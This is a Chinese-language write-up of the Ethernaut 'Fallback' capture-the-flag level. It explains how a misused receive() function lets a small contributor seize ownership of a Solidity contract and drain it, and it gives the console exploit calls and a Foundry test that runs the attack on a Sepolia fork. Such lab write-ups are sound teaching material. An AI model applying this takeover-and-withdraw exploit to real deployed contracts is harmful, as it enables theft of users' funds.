# Ethernaut CTF Level 1 - Fallback [toc] ## 題目 仔細看下面的合約程式碼。 要通過這關你需要 - 獲得這個合約的所有權 - 把合約的餘額歸零 可能會有用的資訊 - 如何透過與 ABI 互動發送 ether - 如何在 ABI 之外發送 ether - 轉換 wei/ether 單位 (參見 help() 指令) - fallback 方法 <br> ## 分析 來看一下合約,可以發現最終目標 `withdraw()`有 `onlyOwner()` modifier保護住 ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Fallback { mapping(address => uint) public contributions; address public owner; constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution() public view returns (uint) { return contributions[msg.sender]; } function withdraw() public onlyOwner { payable(owner).transfer(address(this).balance); } receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } } ``` <br> 在執行`withdraw()`之前,要先通過`onlyOwner()`的檢查 - 在這邊 `msg.sender` (傳送交易的人) 需要等於預定義的 `owner` - `owner`在deploy contract時透過一次性`constructor` function定義好 - 所以這邊的owner一開始會是 deploy contract 的address ```solidity= modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } ``` <br> 不過,在code之中看到了一絲希望 - receive function是solidity的特殊function - 呼叫時,如果智能合約中沒有相對應的function + transaction中的calldata為空時會觸發 > The receive function is executed on a call to the contract with empty calldata. > https://docs.soliditylang.org/en/v0.8.1/contracts.html#receive-ether-function - 通過Check之後可以更改`owner` ```solidity= receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } ``` 所以攻擊思路出現了 - 呼叫`contribute()`讓 `contributions[msg.sender] > 0` - 呼叫 `receive()`, update owner - 呼叫`withdrawal()` <br> ## 攻擊 用以下格式,傳送`msg.value`要求 ```solidity= await contract.contribute({value: toWei("0.000001")}) ``` 檢查目前的owner,並且發送`sendTransaction()`以此觸發`receive()` ```solidity= await contract.owner() await contract.sendTransaction({value: toWei("0.0001")}) ``` 重新檢查owner可以發現已經被update了, ```solidity= await contract.owner() ``` ![image](https://hackmd.io/_uploads/B1d3bcsEa.png) 最後呼叫`withdraw()` 確保合約的balance已經被提款出來,提交結束這關 ```solidity= await contract.withdraw() await getBalance(instance) ``` <br> ## Foundry Test ```solidity= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "ds-test/test.sol"; import "forge-std/Vm.sol"; import "../src/levels/01-Fallback/Fallback.sol"; // test/Billy/ folder contract ContractTest2 is DSTest { Fallback level1 = Fallback(payable(0x96eC1951dF41aEbDBD90deB81A6Bae2d828Be4a1)); function setUp() public { Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); vm.createSelectFork(vm.rpcUrl("sepolia")); vm.label(address(this), "Attacker"); vm.label( address(0x96eC1951dF41aEbDBD90deB81A6Bae2d828Be4a1), "Ethernaut01" ); } function testEthernaut01() public { level1.owner(); level1.contribute{value: 1 wei}(); level1.getContribution(); address(level1).call{value: 1 wei}(""); assert(address(this) == level1.owner()); // Attacker level1.withdraw(); } receive() external payable {} } ``` <br>